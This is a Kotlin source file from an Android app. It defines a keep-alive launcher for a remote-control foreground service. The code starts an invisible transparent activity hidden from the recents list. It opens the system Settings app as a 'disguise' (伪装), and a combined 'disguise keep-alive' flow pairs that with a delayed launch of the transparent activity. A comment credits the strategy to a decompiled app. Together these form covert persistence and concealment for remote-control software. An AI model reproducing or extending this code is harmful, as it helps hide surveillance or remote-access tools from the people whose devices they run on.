package com.hikoncont.service

import android.content.Context
import android.content.Intent
import android.util.Log
import com.hikoncont.util.InstallationStateManager

/**
 * 保活启动器 - 统一管理透明Activity的启动
 * 主要职责：
 * 1. 启动透明保活Activity
 * 2. 启动保活启动器Activity
 * 3. 管理保活相关的Activity启动
 */
class KeepAliveLauncher private constructor() {

    companion object {
        private const val TAG = "KeepAliveLauncher"
        
        @Volatile
        private var INSTANCE: KeepAliveLauncher? = null
        
        fun getInstance(): KeepAliveLauncher {
            return INSTANCE ?: synchronized(this) {
                INSTANCE ?: KeepAliveLauncher().also { INSTANCE = it }
            }
        }
    }

    /**
     * 启动透明保活Activity
     */
    fun startTransparentKeepAliveActivity(context: Context, fromService: Boolean = false) {
        try {
            // ✅ 新增：OPPO设备检测，禁用Activity保活
            if (!com.hikoncont.util.DeviceDetector.shouldUseActivityKeepAlive()) {
                Log.i(TAG, "📱 OPPO设备：跳过Activity保活，仅使用服务保活")
                return
            }
            
            // 检查安装是否完成
            val installationStateManager = InstallationStateManager.getInstance(context)
            val isInstallationComplete = installationStateManager.isInstallationComplete()
            
            if (!isInstallationComplete) {
                Log.w(TAG, "⚠️ 安装未完成，透明保活Activity无效，跳过启动")
                return
            }
            
            // 检查透明保活Activity是否已经在运行
            val transparentActivity = com.hikoncont.TransparentKeepAliveActivity.getInstance()
            if (transparentActivity != null) {
                Log.d(TAG, "📱 透明保活Activity已在运行，跳过启动")
                return
            }
            
            Log.i(TAG, "🫥 启动透明保活Activity（安装已完成）")
            
            val intent = Intent(context, com.hikoncont.TransparentKeepAliveActivity::class.java).apply {
                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION) // ✅ 修复：禁用动画，避免ANR
                addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS) // ✅ 修复：从最近任务中排除
                addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) // ✅ 修复：单例模式，避免重复创建
                putExtra("keepalive_launch", true)
                putExtra("from_service", fromService)
                putExtra("first_launch", true)
                putExtra("timestamp", System.currentTimeMillis())
                // 不设置keepalive_service_start，避免用户正常启动时跳转到设置
            }
            
            context.startActivity(intent)
            Log.i(TAG, "✅ 透明保活Activity启动成功")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动透明保活Activity失败", e)
        }
    }

    /**
     * 启动保活启动器Activity
     */
    fun startKeepAliveLauncherActivity(context: Context, targetPackage: String? = null, launchMain: Boolean = false) {
        try {
            Log.i(TAG, "🚀 启动保活启动器Activity")
            
            val intent = Intent(context, com.hikoncont.KeepAliveLauncherActivity::class.java).apply {
                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
                putExtra("target_package", targetPackage)
                putExtra("launch_main", launchMain)
                putExtra("timestamp", System.currentTimeMillis())
            }
            
            context.startActivity(intent)
            Log.i(TAG, "✅ 保活启动器Activity启动成功")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动保活启动器Activity失败", e)
        }
    }

    /**
     * 启动系统设置应用（伪装）
     */
    fun startSystemSettingsApp(context: Context) {
        try {
            Log.i(TAG, "🎭 启动系统设置应用（伪装）")
            
            val intent = Intent(context, com.hikoncont.KeepAliveLauncherActivity::class.java).apply {
                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
                putExtra("target_package", "com.android.settings")
                putExtra("disguise", true)
                putExtra("timestamp", System.currentTimeMillis())
            }
            
            context.startActivity(intent)
            Log.i(TAG, "✅ 系统设置应用启动成功")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动系统设置应用失败", e)
        }
    }

    /**
     * 启动主Activity
     */
    fun startMainActivity(context: Context, fromKeepAlive: Boolean = false) {
        try {
            // ✅ 新增：OPPO设备检测，禁用Activity保活
            if (fromKeepAlive && !com.hikoncont.util.DeviceDetector.shouldUseActivityKeepAlive()) {
                Log.i(TAG, "📱 OPPO设备：保活场景跳过Activity启动，仅使用服务保活")
                return
            }
            
            // 参照反编译应用策略：保活场景启动透明Activity，非保活场景启动MainActivity
            if (fromKeepAlive) {
                Log.i(TAG, "🫥 保活场景，启动透明保活Activity")
                val intent = Intent(context, com.hikoncont.TransparentKeepAliveActivity::class.java).apply {
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION) // ✅ 修复：禁用动画，避免ANR
                    addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS) // ✅ 修复：从最近任务中排除
                    addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) // ✅ 修复：单例模式，避免重复创建
                    putExtra("from_keepalive", true)
                    putExtra("keepalive_launch", true)
                    putExtra("from_service", true)
                    putExtra("timestamp", System.currentTimeMillis())
                }
                context.startActivity(intent)
                Log.i(TAG, "✅ 透明保活Activity启动成功")
                return
            }
            
            // ✅ 保活启动器不启动MainActivity，只启动后台服务
            Log.i(TAG, "🏠 非保活场景，保活启动器不启动MainActivity，只启动后台服务")
            
            // 只启动后台服务，不启动Activity
            try {
                val serviceIntent = Intent(context, com.hikoncont.service.RemoteControlForegroundService::class.java)
                context.startForegroundService(serviceIntent)
                Log.i(TAG, "✅ 后台服务已启动")
            } catch (e: Exception) {
                Log.e(TAG, "❌ 启动后台服务失败", e)
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动Activity失败", e)
        }
    }

    /**
     * 检查透明保活Activity是否运行
     */
    fun isTransparentKeepAliveActivityRunning(): Boolean {
        return try {
            com.hikoncont.TransparentKeepAliveActivity.getInstance() != null
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查透明保活Activity状态失败", e)
            false
        }
    }

    /**
     * 启动保活恢复流程
     */
    fun startKeepAliveRecovery(context: Context) {
        try {
            Log.i(TAG, "🔄 启动保活恢复流程")
            
            // 只更新心跳，不重复启动其他服务
            HeartbeatManager.getInstance(context).updateHeartbeat()
            
            Log.i(TAG, "✅ 保活恢复流程启动成功")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动保活恢复流程失败", e)
        }
    }

    /**
     * 启动伪装保活流程
     */
    fun startDisguiseKeepAlive(context: Context) {
        try {
            Log.i(TAG, "🎭 启动伪装保活流程")
            
            // 启动系统设置应用（伪装）
            startSystemSettingsApp(context)
            
            // 延迟启动透明保活Activity
            android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                startTransparentKeepAliveActivity(context, true)
            }, 1000L)
            
            Log.i(TAG, "✅ 伪装保活流程启动成功")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动伪装保活流程失败", e)
        }
    }
}
